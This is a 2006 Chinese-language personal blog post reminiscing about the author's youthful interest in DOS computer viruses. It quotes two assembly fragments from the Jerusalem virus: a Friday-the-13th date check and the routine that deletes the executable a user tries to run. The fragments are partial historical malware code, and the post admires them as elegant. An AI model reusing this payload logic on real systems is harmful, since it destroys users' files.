2006年1月14日 星期六

十三號星期五

今天的日子,總會令我不禁想起年少時狂熱追求電腦病毒技術的時代。
從 (c) Brian 到 Jerusalem 的泛濫,恰是我從 GW-BASIC 往 Assembly 學習的時間。旗標早期出版的 DOS 技術手冊、組合語言、組合語言程式設計實例、電腦病毒徹底研究等,都是我國中和高中時不可或缺的精神食糧。
印象中,黃瑞強先生有段時間在第三波雜誌開了個專欄,剖析各種電腦病毒,以及最新的病毒技術。諸如,病毒產生器、多形病毒、變體引擎、伴隨型病毒等。當然,這也是當時我最愛的雜誌專欄。
回憶就此打住!就來看看當年十三號星期五發作的 Jerusalem,倒底是長得什麼模樣?
Jerusalem 病毒原始碼可以看到一開頭就有個熟悉的字串 "sUMsDos"!
底下程式片段是利用 int 21h 取得日期,判斷是否為十三號星期五,若是,就把 b000E 設為 1,代表病毒發作日。

mov ah,2Ah
int 21h ; get date, cx=year, dx=mon/day
mov cs:[b000E],0
cmp cx,7C3h
je loc_6
cmp al,5
jne loc_5
cmp dl,0Dh
jne loc_5
inc cs:[b000E]

接著,病毒常駐到記憶體後,當使用者欲執行檔案時,遇到發作日,就把該執行檔刪除,若非發作日就感染該執行檔。底下的 loc_12 程式片段就是為了刪除檔案。

loc_12:
xor cx,cx
mov ax,4301h
int 21h ; get/set file attrb, nam@ds:dx
mov ah,41h
int 21h ; delete file, name @ ds:dx
mov ax,4B00h
popf
jmp dword ptr cs:[pv21]
loc_13:
cmp cs:[b000E],1
je loc_12


程式寫的真美,是不?

對了,如果看不懂 Jerusalem 程式請勿來信問我,因為我早就忘光 DOS 呼叫和 MZ EXE 了啊。